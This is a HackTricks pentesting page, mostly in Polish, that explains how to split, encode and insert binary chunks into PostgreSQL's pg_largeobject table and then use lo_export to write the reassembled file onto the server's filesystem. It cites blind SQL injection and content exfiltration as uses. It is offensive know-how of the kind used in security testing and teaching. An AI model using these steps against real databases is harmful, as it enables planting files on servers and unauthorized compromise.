Big Binary Files Upload (PostgreSQL)

Support HackTricks

PostgreSQL Large Objects

PostgreSQL oferuje strukturę znaną jako large objects, dostępną za pośrednictwem tabeli pg_largeobject, zaprojektowaną do przechowywania dużych typów danych, takich jak obrazy czy dokumenty PDF. To podejście jest korzystniejsze niż funkcja COPY TO, ponieważ umożliwia eksport danych z powrotem do systemu plików, zapewniając dokładną replikę oryginalnego pliku.

Aby przechować pełny plik w tej tabeli, należy utworzyć obiekt w tabeli pg_largeobject (identyfikowany przez LOID), a następnie wprowadzić fragmenty danych, każdy o rozmiarze 2KB, do tego obiektu. Ważne jest, aby te fragmenty miały dokładnie 2KB (z możliwym wyjątkiem ostatniego fragmentu), aby zapewnić prawidłowe działanie funkcji eksportu.

Aby podzielić swoje dane binarne na fragmenty 2KB, można wykonać następujące polecenia:

split -b 2048 your_file # Creates 2KB sized files

Aby zakodować każdy plik w Base64 lub Hex, można użyć poniższych poleceń:

base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line

Ważne: Podczas automatyzacji tego procesu upewnij się, że wysyłasz kawałki 2KB czystych bajtów. Pliki zakodowane w hex będą wymagały 4KB danych na kawałek z powodu podwojenia rozmiaru, podczas gdy pliki zakodowane w Base64 stosują wzór ceil(n / 3) * 4.

Zawartość dużych obiektów można przeglądać w celach debugowania za pomocą:

select loid, pageno, encode(data, 'escape') from pg_largeobject;

Używanie lo_creat i Base64

Aby przechować dane binarne, najpierw tworzony jest LOID:

SELECT lo_creat(-1);       -- Creates a new, empty large object
SELECT lo_create(173454);  -- Attempts to create a large object with a specific OID

W sytuacjach wymagających precyzyjnej kontroli, takich jak wykorzystanie Blind SQL Injection, lo_create jest preferowane do określenia stałego LOID.

Dane mogą być następnie wstawiane w następujący sposób:

INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));

Aby wyeksportować i potencjalnie usunąć duży obiekt po użyciu:

SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454);  -- Deletes the specified large object

Używanie lo_import i Hex

Funkcja lo_import może być wykorzystana do tworzenia i określania LOID dla dużego obiektu:

select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);

Po utworzeniu obiektu dane są wstawiane na stronę, zapewniając, że każdy kawałek nie przekracza 2KB:

update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;

Aby zakończyć proces, dane są eksportowane, a duży obiekt jest usuwany:

select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454);  -- Deletes the specified large object

Ograniczenia

Zauważono, że duże obiekty mogą mieć ACL (Listy Kontroli Dostępu), co może ograniczać dostęp nawet do obiektów stworzonych przez twojego użytkownika. Jednak starsze obiekty z liberalnymi ACL mogą być nadal dostępne do eksfiltracji treści.

Wsparcie dla HackTricks

Last updated